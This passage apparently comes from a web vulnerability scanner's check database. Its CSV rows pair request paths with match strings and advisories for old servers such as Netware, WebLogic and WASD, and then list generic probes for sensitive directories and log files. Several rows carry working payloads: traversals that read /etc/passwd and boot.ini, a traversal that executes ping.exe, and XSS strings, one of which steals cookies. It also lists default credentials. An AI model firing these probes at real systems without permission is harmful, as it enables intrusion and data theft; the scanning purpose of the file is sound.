  2301. "novell","/perl/samples/env.pl","HSERVER_SOFTWARE","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
  2302. "novell","/perl/samples/lancgi.pl","Lan Boards","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
  2303. "novell","/perl/samples/ndslogin.pl","Fullname","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
  2304. "novell","/perl/samples/volscgi.pl","Size","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
  2305. "novell","/scripts/GW5/GWWEB.EXE","200","GET","Groupwise web interface"
  2306. "novell","/se/?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse","SERVER_SOFTWARE","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
  2307. "novell","/servlet/AdminServlet","200","GET","Netware Web Search Server (adminservlet) found. All default code should be removed from web servers."
  2308. "novell","/servlet/gwmonitor","200","GET","Netware Gateway monitor found. All default code should be removed from web servers."
  2309. "novell","/servlet/PrintServlet","200","GET","Novell Netware default servlet found. All default code should be removed from the system."
  2310. "novell","/servlet/SearchServlet","200","GET","Novell Netware default servlet found. All default code should be removed from the system."
  2311. "novell","/servlet/ServletManager","401","GET","Netware Java Servlet Gateway found. Default user id is servlet, default password is manager. All default code should be removed from Internet servers."
  2312. "novell","/servlet/SessionServlet","200","GET","Netware WebSphere found. All default code should be removed from web servers."
  2313. "novell","/servlet/SimpleServlet","200","GET","Netware Websphere simpleservlet found. All default code should be removed from web servers."
  2314. "novell","/servlet/SnoopServlet","200","GET","Netware Java Servlet Gateway and/or WebSphere found. All default code should be removed from web servers."
  2315. "novell","/servlet/sq1cdsn","200","GET","Novell Netware default servlet found. All default code should be removed from the system."
  2316. "novell","/servlet/sqlcdsn","401","GET","Netware SQL connector found. All default code should be removed from web servers."
  2317. "novell","/servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../boot.ini%00","[boot loader]","GET","The Novell Groupwise WebAcc Servlet allows attackers to view arbitrary files on the server."
  2318. "novell","/servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","The Novell Groupwise WebAcc Servlet allows attackers to view arbitrary files on the server."
  2319. "novell","/servlet/webacc?User.html=noexist","templates/","GET","Netware web access may reveal full path of the web server. Apply vendor patch or upgrade."
  2320. "novell","/servlet/webacc","200","GET","Netware Enterprise and/or GroupWise web access found. All default code should be removed from Internet servers."
  2321. "novell","/servlet/webpub","200","GET","Netware Web Publisher found. All default code should be removed from web servers."
  2322. "novell","/WebSphereSamples","200","GET","Netware Webshere sample applications found. All default code should be removed from web servers."
  2323. "omnihttpd","@CGIDIRSredir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3C%2FSCRIPT%3E","<script>alert('Vulnerable')</script>","GET","OmniHTTPD's redir.exe is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  2324. "omnihttpd","/test.php?%3CSCRIPT%3Ealert('Vulnerable')%3C%2FSCRIPT%3E=x","<SCRIPT>alert('Vulnerable')</SCRIPT>","GET","OmniHTTPD's test.php is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  2325. "omnihttpd","/test.php%20","<?","GET","The OmniHTTP install may allow php/shtml/pl script disclosure.  Upgrade to the latest version."
  2326. "omnihttpd","/test.shtml?%3CSCRIPT%3Ealert('Vulnerable')%3C%2FSCRIPT%3E=x","<SCRIPT>alert('Vulnerable')</SCRIPT>","GET","OmniHTTPD's test.shtml is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  2327. "sambar","@CGIDIRSmailit.pl","200","GET","Sambar may allow anonymous email to be sent from any host via this CGI."
  2328. "sambar","@CGIDIRSPbcgi.exe","200","GET","Sambar may be vulnerable to a DOS when a long string is passed to Pbcgi.exe (not attempted). Default CGI should be removed from web servers."
  2329. "sambar","@CGIDIRStestcgi.exe","200","GET","Sambar may be vulnerable to a DOS when a long string is passed to testcgi.exe (not attempted). Default CGI should be removed from web servers."
  2330. "sambar","/cgi-win/cgitest.exe","200","GET","This CGI may allow the server to be crashed remotely, see http://www.securityoffice.net/ for details.  Remove this default CGI."
  2331. "sambar","/search/results.stm?query=<script>alert('vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","Default Sambar file is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  2332. "savant","@CGIDIRScgitest.exe","200","GET","This CGI allows remote users to download other CGI source code. May have a buffer overflow in the User-Agent header."
  2333. "simpleserver","/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1","Reply from 127.0.0.1","GET","Specially formatted strings allow command execution. Upgrade to version 1.15 or higher. CVE-2000-0011."
  2334. "simpleserver","/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1","200","GET","Specially formatted strings allow command execution. Upgrade to version 1.15 or higher. CVE-2000-0011."
  2335. "sun","/SUNWmc/htdocs/","en_US","GET","Sun SMC (Solaris Management Console) is running."
  2336. "tivoli","/signon","Administrator Login","GET","Tivoli administrator login found. Test the default login of admin/admin.  Tivoli allows system administration."
  2337. "w4","/cgi-bin/cgi-test.exe","200","GET","Default CGI found"
  2338. "wasd","/*.*","index of","GET","WASD Server reveals the contents of directories via this URL. Upgrade to a later version and secure according to the documents on the WASD web site."
  2339. "wasd","/cgi-bin/cgi_process","200","GET","WASD reveals a lot of system information in this script--it should be removed."
  2340. "wasd","/ht_root/wwwroot/-/local/httpd$map.conf","200","GET","WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site."
  2341. "wasd","/JUNK(10)","Document not found ... /","GET","WASD reveals the web root in error requests. Upgrade to a later version and secure according to the documents on the WASD web site."
  2342. "wasd","/local/httpd$map.conf","200","GET","WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site."
  2343. "wasd","/tree","200","GET","WASD Server reveals the entire web root structure and files via this URL. Upgrade to a later version and secure according to the documents on the WASD web site."
  2344. "wasd","/upd/","200","GET","WASD Server can allow directory listings by requesting /upd/directory/. Upgrade to a later version and secure according to the documents on the WASD web site."
  2345. "weblogic","@CGIDIRSindex.js0x70","\<\%\=","GET","The Weblogic can be tricked into revealing jsp source by adding '0x70' to end of the URL."
  2346. "weblogic","/%00/","<%","GET","Weblogic allows directory listings with %00 (or indexing is enabled), upgrade to v6.0 SP1 or higher. BID-2513."
  2347. "weblogic","/%00/","directory listing of","GET","Weblogic allows directory listings with %00 (or indexing is enabled), upgrade to v6.0 SP1 or higher. BID-2513."
  2348. "weblogic","/%00/","Index of","GET","Weblogic allows directory listings with %00 (or indexing is enabled), upgrade to v6.0 SP1 or higher. BID-2513"
  2349. "weblogic","/%2e/","<%","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513"
  2350. "weblogic","/%2e/","directory listing of","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513."
  2351. "weblogic","/%2e/","Index of","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513."
  2352. "weblogic","/%2f/","<%","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513"
  2353. "weblogic","/%2f/","directory listing of","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513."
  2354. "weblogic","/%2f/","Index of","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513."
  2355. "weblogic","/%5c/","<%","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513"
  2356. "weblogic","/%5c/","directory listing of","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513."
  2357. "weblogic","/%5c/","Index of","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513."
  2358. "weblogic","/examplesWebApp/InteractiveQuery.jsp?person=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","BEA WebLogic 8.1 and below are vulnerable to Cross Site Scripting (XSS) in example code. CAN-2003-0624. CA-2000-02."
  2359. "weblogic","/index.jsp%00x","<%=","GET","Bea WebLogic 6.1 SP 2 discloses source by appending %00x to a jsp request. Upgrade to a version newer than 6.2 SP 2 for Win2k. BID-2513"
  2360. "weblogic","/weblogic","index of","GET","Weblogic directory is available with indexing."
  2361. "webserver4d","/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../boot.ini","boot loader","GET","The Web_Server_4D is vulnerable to a directory traversal problem."
  2362. "webserver4d","/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd","root:","GET","The Web_Server_4D is vulnerable to a directory traversal problem."
  2363. "website","@CGIDIRSwebfind.exe?keywords=01234567890123456789","500","GET","May be vulnerable to a buffer overflow (request 2000 bytes of data). Upgrade to WebSitePro 2.5 or greater"
  2364. "website","/%a%s%p%d","*s?d","GET","Format bug is present & may reveal system path, upgrade to the latest version."
  2365. "website","/cgi-shl/win-c-sample.exe","200","GET","win-c-sample.exe has a buffer overflow"
  2366. "website","/index.html%20","File for URL","GET","Website may reveal file system paths by adding %20 to the end of a legitimate .html request."
  2367. "zeus","/apps/web/index.fcgi?servers=§ion=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Zeus Admin server 4.1r2 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  2368.  
  2369. ## These are the "found something interesting" tests
  2370. "generic","/.psql_history","200","GET","This might be interesting..."
  2371. "generic","/acceso/","200","GET","This might be interesting..."
  2372. "generic","/access-log","200","GET","Just found this log file..."
  2373. "generic","/access.log","200","GET","Just found this log file..."
  2374. "generic","/access/","200","GET","This might be interesting..."
  2375. "generic","/access_log","200","GET","Just found this log..."
  2376. "generic","/acciones/","200","GET","This might be interesting..."
  2377. "generic","/account/","200","GET","This might be interesting..."
  2378. "generic","/accounting/","200","GET","This might be interesting..."
  2379. "generic","/activex/","200","GET","This might be interesting..."
  2380. "generic","/adm/","200","GET","This might be interesting..."
  2381. "generic","/admin.htm","200","GET","This might be interesting..."
  2382. "generic","/admin.html","200","GET","This might be interesting..."
  2383. "generic","/admin.php","200","GET","This might be interesting..."
  2384. "generic","/admin.php3","200","GET","This might be interesting..."
  2385. "generic","/admin.shtml","200","GET","This might be interesting..."
  2386. "generic","/admin/","200","GET","This might be interesting..."
  2387. "generic","/Administration/","200","GET","This might be interesting..."
  2388. "generic","/administration/","200","GET","This might be interesting..."
  2389. "generic","/administrator/","200","GET","This might be interesting..."
  2390. "generic","/Admin_files/","200","GET","This might be interesting..."
  2391. "generic","/advwebadmin/","200","GET","This might be interesting...probably HostingController, www.hostingcontroller.com"
  2392. "generic","/Agent/","200","GET","This might be interesting..."
  2393. "generic","/Agentes/","200","GET","This might be interesting..."
  2394. "generic","/agentes/","200","GET","This might be interesting..."
  2395. "generic","/Agents/","200","GET","This might be interesting..."
  2396. "generic","/analog/","200","GET","This might be interesting..."
  2397. "generic","/apache/","200","GET","This might be interesting..."
  2398. "generic","/app/","200","GET","This might be interesting..."
  2399. "generic","/applicattion/","200","GET","This might be interesting..."
  2400. "generic","/applicattions/","200","GET","This might be interesting..."
  2401. "generic","/apps/","200","GET","This might be interesting..."
  2402. "generic","/archivar/","200","GET","This might be interesting..."
  2403. "generic","/archive/","200","GET","This might be interesting..."
  2404. "generic","/archives/","200","GET","This might be interesting..."
  2405. "generic","/archivo/","200","GET","This might be interesting..."
  2406. "generic","/Asp/","200","GET","This might be interesting..."
  2407. "generic","/asp/","200","GET","This might be interesting..."
  2408. "generic","/atc/","200","GET","This might be interesting..."
  2409. "generic","/auth/","200","GET","This might be interesting..."
  2410. "generic","/awebvisit.stat","200","GET","This might be interesting..."
  2411. "generic","/ayuda/","200","GET","This might be interesting..."
  2412. "generic","/backdoor/","200","GET","This might be interesting..."
  2413. "generic","/backup/","200","GET","This might be interesting..."
  2414. "generic","/bak/","200","GET","This might be interesting..."
  2415. "generic","/banca/","200","GET","This might be interesting..."
  2416. "generic","/banco/","200","GET","This might be interesting..."
  2417. "generic","/bank/","200","GET","This might be interesting..."
  2418. "generic","/bbv/","200","GET","This might be interesting..."
  2419. "generic","/bdata/","200","GET","This might be interesting..."
  2420. "generic","/bdatos/","200","GET","This might be interesting..."
  2421. "generic","/beta/","200","GET","This might be interesting..."
  2422. "generic","/bin/","200","GET","This might be interesting..."
  2423. "generic","/boot/","200","GET","This might be interesting..."
  2424. "generic","/buy/","200","GET","This might be interesting..."
  2425. "generic","/buynow/","200","GET","This might be interesting..."
  2426. "generic","/c/","200","GET","This might be interesting..."
  2427. "generic","/cache-stats/","200","GET","This might be interesting..."
  2428. "generic","/caja/","200","GET","This might be interesting..."
  2429. "generic","/card/","200","GET","This might be interesting..."
  2430. "generic","/cards/","200","GET","This might be interesting..."
  2431. "generic","/cart/","200","GET","This might be interesting..."
  2432. "generic","/cash/","200","GET","This might be interesting..."
  2433. "generic","/ccard/","200","GET","This might be interesting..."
  2434. "generic","/ccbill/secure/ccbill.log","200","GET","This might be interesting... CC Bill log file?"
  2435. "generic","/cd/","200","GET","This might be interesting..."
  2436. "generic","/cdrom/","200","GET","This might be interesting..."
  2437. "generic","/cert/","200","GET","This might be interesting..."
  2438. "generic","/certificado/","200","GET","This might be interesting..."
  2439. "generic","/certificate","200","GET","This may be interesting..."
  2440. "generic","/certificates","200","GET","This may be interesting..."
  2441. "generic","/cfdocs/exampleapp/email/application.cfm","200!not found","GET","This might be interesting..."
  2442. "generic","/cfdocs/exampleapp/publish/admin/addcontent.cfm","200!not found","GET","This might be interesting..."
  2443. "generic","/cfdocs/exampleapp/publish/admin/application.cfm","200!not found","GET","This might be interesting..."
  2444. "generic","/cfdocs/examples/httpclient/mainframeset.cfm","200!not found","GET","This might be interesting"
  2445. "generic","/cgi-bin/dbmlparser.exe","200","GET","This might be interesting..."
  2446. "generic","/cgi-bin/icat","200","GET","This might be interesting..."
  2447. "generic","/client/","200","GET","This might be interesting..."
  2448. "generic","/cliente/","200","GET","This might be interesting..."
  2449. "generic","/clientes/","200","GET","This might be interesting..."
  2450. "generic","/clients/","200","GET","This might be interesting..."
  2451. "generic","/cm/","200","GET","This might be interesting..."
  2452. "generic","/code/","Index of ","GET","This might be interesting..."
  2453. "generic","/communicator/","200","GET","This might be interesting..."
  2454. "generic","/compra/","200","GET","This might be interesting..."
  2455. "generic","/compras/","200","GET","This might be interesting..."
  2456. "generic","/compressed/","200","GET","This might be interesting..."
  2457. "generic","/conecta/","200","GET","This might be interesting..."
  2458. "generic","/config/","Index of ","GET","This might be interesting..."
  2459. "generic","/config/checks.txt","200","GET","This might be interesting..."
  2460. "generic","/connect/","200","GET","This might be interesting..."
  2461. "generic","/console","200","GET","This may be interesting..."
  2462. "generic","/correo/","200","GET","This might be interesting..."
  2463. "generic","/counter/","Index of ","GET","This might be interesting..."
  2464. "generic","/credit/","Index of ","GET","This might be interesting..."
  2465. "generic","/crypto/","200","GET","This might be interesting..."
  2466. "generic","/css","200","GET","This might be interesting..."
  2467. "generic","/cuenta/","200","GET","This might be interesting..."
  2468. "generic","/cuentas/","200","GET","This might be interesting..."
  2469. "generic","/customers/","Index of ","GET","This might be interesting..."
  2470. "generic","/dan_o.dat","200","GET","Just found this log file..."
  2471. "generic","/dat/","200","GET","This might be interesting..."
  2472. "generic","/data/","200","GET","This might be interesting..."
  2473. "generic","/dato/","200","GET","This might be interesting..."
  2474. "generic","/datos/","200","GET","This might be interesting..."
  2475. "generic","/db/","200","GET","This might be interesting..."
  2476. "generic","/dbase/","200","GET","This might be interesting..."
  2477. "generic","/demo/","200","GET","This may be interesting..."
  2478. "generic","/demos/","200","GET","This might be interesting..."
  2479. "generic","/dev/","200","GET","This might be interesting..."
  2480. "generic","/devel/","200","GET","This might be interesting..."
  2481. "generic","/development/","200","GET","This might be interesting..."
  2482. "generic","/dir/","200","GET","This might be interesting..."
  2483. "generic","/directory/","200","GET","This might be interesting..."
  2484. "generic","/DMR/","200","GET","This might be interesting..."
  2485. "generic","/doc-html/","200","GET","This might be interesting..."
  2486. "generic","/down/","200","GET","This might be interesting..."
  2487. "generic","/download/","200","GET","This might be interesting..."
  2488. "generic","/downloads/","200","GET","This might be interesting..."
  2489. "generic","/easylog/easylog.html","200","GET","Just found this file..."
  2490. "generic","/ejemplo/","200","GET","This might be interesting..."
  2491. "generic","/ejemplos/","200","GET","This might be interesting..."
  2492. "generic","/employees/","200","GET","This might be interesting..."
  2493. "generic","/envia/","200","GET","This might be interesting..."
  2494. "generic","/enviamail/","200","GET","This might be interesting..."
  2495. "generic","/error_log","200","GET","Just found this log..."
  2496. "generic","/es/","200","GET","This might be interesting..."
  2497. "generic","/Excel/","200","GET","This might be interesting..."
  2498. "generic","/excel/","200","GET","This might be interesting..."
  2499. "generic","/EXE/","200","GET","This might be interesting..."
  2500. "generic","/exe/","200","GET","This might be interesting..."
  2501. "generic","/fbsd/","200","GET","This might be interesting..."
  2502. "generic","/file/","200","GET","This might be interesting..."
  2503. "generic","/fileadmin/","200","GET","This might be interesting..."
  2504. "generic","/files/","200","GET","This might be interesting..."
  2505. "generic","/forum/","200","GET","This might be interesting..."
  2506. "generic","/forums/","200","GET","This might be interesting..."
  2507. "generic","/foto/","200","GET","This might be interesting..."
  2508. "generic","/fotos/","200","GET","This might be interesting..."
  2509. "generic","/fpadmin/","200","GET","This might be interesting..."
  2510. "generic","/ftp/","200","GET","This might be interesting..."
  2511. "generic","/gfx/","200","GET","This might be interesting..."
  2512. "generic","/global/","200","GET","This might be interesting..."
  2513. "generic","/graphics/","200","GET","This might be interesting..."
  2514. "generic","/guest/","200","GET","This might be interesting..."
  2515. "generic","/guestbook/","200","GET","This might be interesting..."
  2516. "generic","/guests/","200","GET","This might be interesting..."
  2517. "generic","/hidden/","200","GET","This might be interesting..."
  2518. "generic","/hitmatic/","200","GET","This might be interesting..."
  2519. "generic","/hitmatic/analyse.cgi","200","GET","Just found this cgi..."
  2520. "generic","/hits.txt","200","GET","Just found this log file..."
  2521. "generic","/hit_tracker/","200","GET","This might be interesting..."
  2522. "generic","/home/","200","GET","This might be interesting..."
  2523. "generic","/homepage/","200","GET","This might be interesting..."
  2524. "generic","/htdocs/","200","GET","This might be interesting..."
  2525. "generic","/html/","200","GET","This might be interesting..."
  2526. "generic","/HyperStat/stat_what.log","200","GET","Just found this file..."
  2527. "generic","/hyperstat/stat_what.log","200","GET","Just found this log..."
  2528. "generic","/ibill/","200","GET","This might be interesting..."
  2529. "generic","/idea/","200","GET","This might be interesting..."
  2530. "generic","/ideas/","200","GET","This might be interesting..."
  2531. "generic","/imagenes/","200","GET","This might be interesting..."
  2532. "generic","/img/","200","GET","This may be interesting..."
  2533. "generic","/imgs/","200","GET","This might be interesting..."
  2534. "generic","/import/","200","GET","This might be interesting..."
  2535. "generic","/impreso/","200","GET","This might be interesting..."
  2536. "generic","/includes/","200","GET","This might be interesting..."
  2537. "generic","/incoming/","200","GET","This might be interesting..."
  2538. "generic","/info/","200","GET","This might be interesting..."
  2539. "generic","/informacion/","200","GET","This might be interesting..."
  2540. "generic","/information/","200","GET","This might be interesting..."
  2541. "generic","/ingresa/","200","GET","This might be interesting..."
  2542. "generic","/ingreso/","200","GET","This might be interesting..."
  2543. "generic","/install/","200","GET","This might be interesting..."
  2544. "generic","/internal/","200","GET","This might be interesting..."
  2545. "generic","/intranet/","200","GET","This might be interesting..."
  2546. "generic","/invitado/","200","GET","This might be interesting..."
  2547. "generic","/invitados/","200","GET","This might be interesting..."
  2548. "generic","/java/","200","GET","This might be interesting..."
  2549. "generic","/jdbc/","200","GET","This might be interesting..."
  2550. "generic","/job/","200","GET","This might be interesting..."
  2551. "generic","/jrun/","200","GET","This might be interesting..."
  2552. "generic","/js","200","GET","This might be interesting..."
  2553. "generic","/lib/","200","GET","This might be interesting..."
  2554. "generic","/library/","200","GET","This might be interesting..."
  2555. "generic","/libro/","200","GET","This might be interesting..."
  2556. "generic","/linux/","200","GET","This might be interesting..."
  2557. "generic","/log.htm","200","GET","Just found this log file..."
  2558. "generic","/log.html","200","GET","Just found this log file..."
  2559. "generic","/log.txt","200","GET","Just found this log file..."
  2560. "generic","/logfile","200","GET","Just found this log file..."
  2561. "generic","/logfile.htm","200","GET","Just found this log file..."
  2562. "generic","/logfile.html","200","GET","Just found this log file..."
  2563. "generic","/logfile.txt","200","GET","Just found this log file..."
  2564. "generic","/logfile/","200","GET","This might be interesting..."
  2565. "generic","/logfiles/","200","GET","This might be interesting..."
  2566. "generic","/logger.html","200","GET","Just found this log file..."
  2567. "generic","/logger/","200","GET","This might be interesting..."
  2568. "generic","/logging/","200","GET","This might be interesting..."
  2569. "generic","/login/","200","GET","This might be interesting..."
  2570. "generic","/logs.txt","200","GET","Just found this log file..."
  2571. "generic","/logs/","200","GET","Ahh...log information...fun!"
  2572. "generic","/logs/access_log","200","GET","Just found this log..."
  2573. "generic","/logs/error_log","200","GET","Just found this log..."
  2574. "generic","/lost+found/","200","GET","This might be interesting..."
  2575. "generic","/mail/","200","GET","This might be interesting..."
  2576. "generic","/manage/cgi/cgiproc","200","GET","This might be interesting..."
  2577. "generic","/marketing/","200","GET","This might be interesting..."
  2578. "generic","/mbox","200","GET","This might be interesting..."
  2579. "generic","/members/","200","GET","This might be interesting..."
  2580. "generic","/message/","200","GET","This might be interesting..."
  2581. "generic","/messaging/","200","GET","This might be interesting..."
  2582. "generic","/ministats/admin.cgi","200","GET","Just found this cgi..."
  2583. "generic","/misc/","200","GET","This might be interesting..."
  2584. "generic","/mkstats/","200","GET","This might be interesting..."
  2585. "generic","/movimientos/","200","GET","This might be interesting..."
  2586. "generic","/mqseries/","200","GET","This might be interesting..."
  2587. "generic","/msql/","200","GET","This might be interesting..."
  2588. "generic","/MSword/","200","GET","This might be interesting..."
  2589. "generic","/Msword/","200","GET","This might be interesting..."
  2590. "generic","/msword/","200","GET","This might be interesting..."
  2591. "generic","/NetDynamic/","200","GET","This might be interesting..."
  2592. "generic","/NetDynamics/","200","GET","This might be interesting..."
  2593. "generic","/netscape/","200","GET","This might be interesting..."
  2594. "generic","/new","200","GET","This may be interesting..."
  2595. "generic","/new/","200","GET","This might be interesting..."
  2596. "generic","/news","200","GET","This may be interesting..."
  2597. "generic","/nl/","200","GET","This might be interesting..."
  2598. "generic","/noticias/","200","GET","This might be interesting..."
  2599. "generic","/odbc/","200","GET","This might be interesting..."
  2600. "generic","/officescan/cgi/jdkRqNotify.exe","200","GET","This might be interesting..."
  2601. "generic","/old/","200","GET","This might be interesting..."
  2602. "generic","/oracle","200","GET","This might be interesting..."
  2603. "generic","/oradata/","200","GET","This might be interesting..."
  2604. "generic","/order/","200","GET","This might be interesting..."
  2605. "generic","/orders/","200","GET","This might be interesting..."
  2606. "generic","/orders/checks.txt","200","GET","This might be interesting..."
  2607. "generic","/orders/mountain.cfg","200","GET","This might be interesting..."
  2608. "generic","/orders/orders.log","200","GET","This might be interesting..."
  2609. "generic","/orders/orders.txt","200","GET","This might be interesting..."
  2610. "generic","/outgoing/","200","GET","This might be interesting..."
  2611. "generic","/ows/","200","GET","This might be interesting... Oracle Web Services?"
  2612. "generic","/Pages/","200","GET","This might be interesting..."
  2613. "generic","/pages/","200","GET","This might be interesting..."
  2614. "generic","/passwd","200","GET","This could be interesting..."
  2615. "generic","/passwd.adjunct","200","GET","This could be interesting..."
  2616. "generic","/passwd.txt","200","GET","This could be interesting..."
  2617. "generic","/password","200","GET","This could be interesting..."
  2618. "generic","/password/","Index of","GET","This could be interesting..."
  2619. "generic","/passwords.txt","200","GET","This could be interesting..."
  2620. "generic","/passwords/","200","GET","This might be interesting..."
  2621. "generic","/PDG_Cart/","200","GET","This might be interesting..."
  2622. "generic","/perl5/","200","GET","This might be interesting..."
  2623. "generic","/php/","200","GET","This might be interesting..."
  2624. "generic","/phpmyadmin/","200","GET","This might be interesting..."
  2625. "generic","/phpMyAdmin/","200","GET","This might be interesting..."
  2626. "generic","/pics/","200","GET","This might be interesting..."
  2627. "generic","/piranha/secure/passwd.php3","200","GET","This might be interesting..."
  2628. "generic","/pix/","200","GET","This might be interesting..."
  2629. "generic","/poll","200","GET","This may be interesting..."
  2630. "generic","/polls","200","GET","This may be interesting..."
  2631. "generic","/privado/","200","GET","This might be interesting..."
  2632. "generic","/private/","200","GET","This might be interesting..."
  2633. "generic","/prod/","200","GET","This might be interesting..."
  2634. "generic","/prueba/","200","GET","This might be interesting..."
  2635. "generic","/pruebas/","200","GET","This might be interesting..."
  2636. "generic","/pub/","200","GET","This might be interesting..."
  2637. "generic","/public/","200","GET","This might be interesting..."
  2638. "generic","/publica/","200","GET","This might be interesting..."
  2639. "generic","/publicar/","200","GET","This might be interesting..."
  2640. "generic","/publico/","200","GET","This might be interesting..."
  2641. "generic","/purchase/","200","GET","This might be interesting..."
  2642. "generic","/purchases/","200","GET","This might be interesting..."
  2643. "generic","/pw/","200","GET","This might be interesting..."
  2644. "generic","/python/","200","GET","This might be interesting..."
  2645. "generic","/register/","200","GET","This might be interesting..."
  2646. "generic","/registered/","200","GET","This might be interesting..."
  2647. "generic","/reports/","200","GET","This might be interesting..."
  2648. "generic","/reseller/","200","GET","This might be interesting..."
  2649. "generic","/restricted/","200","GET","This might be interesting..."
  2650. "generic","/retail/","200","GET","This might be interesting..."
  2651. "generic","/reviews/newpro.cgi","200","GET","This might be interesting..."
  2652. "generic","/root/","Index of ","GET","This might be interesting..."
  2653. "generic","/sales/","200","GET","This might be interesting..."
  2654. "generic","/sample/","200","GET","This might be interesting..."
  2655. "generic","/samples/","200","GET","This might be interesting..."
  2656. "generic","/save/","200","GET","This might be interesting..."
  2657. "generic","/scr/","200","GET","This might be interesting..."
  2658. "generic","/scratch","200","GET","This may be interesting..."
  2659. "generic","/scripts/weblog","200","GET","This might be interesting..."
  2660. "generic","/search.vts","200","GET","This might be interesting..."
  2661. "generic","/search97.vts","200","GET","This might be interesting..."
  2662. "generic","/secret/","200","GET","This might be interesting..."
  2663. "generic","/secure/","Index of ","GET","This might be interesting..."
  2664. "generic","/secured/","Index of ","GET","This might be interesting..."
  2665. "generic","/sell/","200","GET","This might be interesting..."
  2666. "generic","/server_stats/","Index of ","GET","This might be interesting..."
  2667. "generic","/service/","200","GET","This might be interesting..."
  2668. "generic","/services/","200","GET","This might be interesting..."
  2669. "generic","/servicio/","200","GET","This might be interesting..."
  2670. "generic","/servicios/","200","GET","This might be interesting..."
  2671. "generic","/setup/","200","GET","This might be interesting..."
  2672. "generic","/shop/","200","GET","This might be interesting..."
  2673. "generic","/shopper/","200","GET","This might be interesting..."
  2674. "generic","/software/","Index of ","GET","This might be interesting..."
  2675. "generic","/solaris/","200","GET","This might be interesting..."
  2676. "generic","/source/","Index of ","GET","This might be interesting..."
  2677. "generic","/Sources/","200","GET","This might be interesting... may be YaBB."
  2678. "generic","/sql/","Index of ","GET","This might be interesting..."
  2679. "generic","/src/","Index of ","GET","This might be interesting..."
  2680. "generic","/srchadm","200","GET","This might be interesting..."
  2681. "generic","/ss.cfg","200","GET","This might be interesting..."
  2682. "generic","/ssi/","Index of ","GET","This might be interesting..."
  2683. "generic","/staff/","200","GET","This might be interesting..."
  2684. "generic","/stat.htm","200","GET","Just found this log file..."
  2685. "generic","/stat/","200","GET","This might be interesting..."
  2686. "generic","/statistic/","200","GET","This might be interesting..."
  2687. "generic","/statistics/","200","GET","This might be interesting..."
  2688. "generic","/Statistics/","200","GET","This might be interesting..."
  2689. "generic","/stats.htm","200","GET","Just found this log file..."
  2690. "generic","/stats.html","200","GET","Just found this log file..."
  2691. "generic","/stats.txt","200","GET","Just found this log file..."
  2692. "generic","/Stats/","200","GET","This might be interesting..."
  2693. "generic","/stats/","200","GET","This might be interesting..."
  2694. "generic","/status/","200","GET","This might be interesting..."
  2695. "generic","/store/","200","GET","This might be interesting..."
  2696. "generic","/StoreDB/","200","GET","This might be interesting..."
  2697. "generic","/stylesheet/","200","GET","This may be interesting..."
  2698. "generic","/stylesheets/","200","GET","This may be interesting..."
  2699. "generic","/subir/","200","GET","This might be interesting..."
  2700. "generic","/sun/","200","GET","This might be interesting..."
  2701. "generic","/super_stats/access_logs","200","GET","This might be interesting..."
  2702. "generic","/super_stats/error_logs","200","GET","This might be interesting..."
  2703. "generic","/support/","200","GET","This might be interesting..."
  2704. "generic","/swf","200","GET","This may be interesting... Flash files?"
  2705. "generic","/sys/","200","GET","This might be interesting..."
  2706. "generic","/system/","200","GET","This might be interesting..."
  2707. "generic","/tar/","200","GET","This might be interesting..."
  2708. "generic","/tarjetas/","200","GET","This might be interesting..."
  2709. "generic","/temp/","200","GET","This might be interesting..."
  2710. "generic","/template/","200","GET","This may be interesting as the directory may hold sensitive files or reveal system information."
  2711. "generic","/temporal/","200","GET","This might be interesting..."
  2712. "generic","/test/","200","GET","This might be interesting..."
  2713. "generic","/testing/","200","GET","This might be interesting..."
  2714. "generic","/tests/","200","GET","This might be interesting..."
  2715. "generic","/tmp/","200","GET","This might be interesting..."
  2716. "generic","/tools/","200","GET","This might be interesting..."
  2717. "generic","/tpv/","200","GET","This might be interesting..."
  2718. "generic","/trabajo/","200","GET","This might be interesting..."
  2719. "generic","/trafficlog/","200","GET","This might be interesting..."
  2720. "generic","/transito/","200","GET","This might be interesting..."
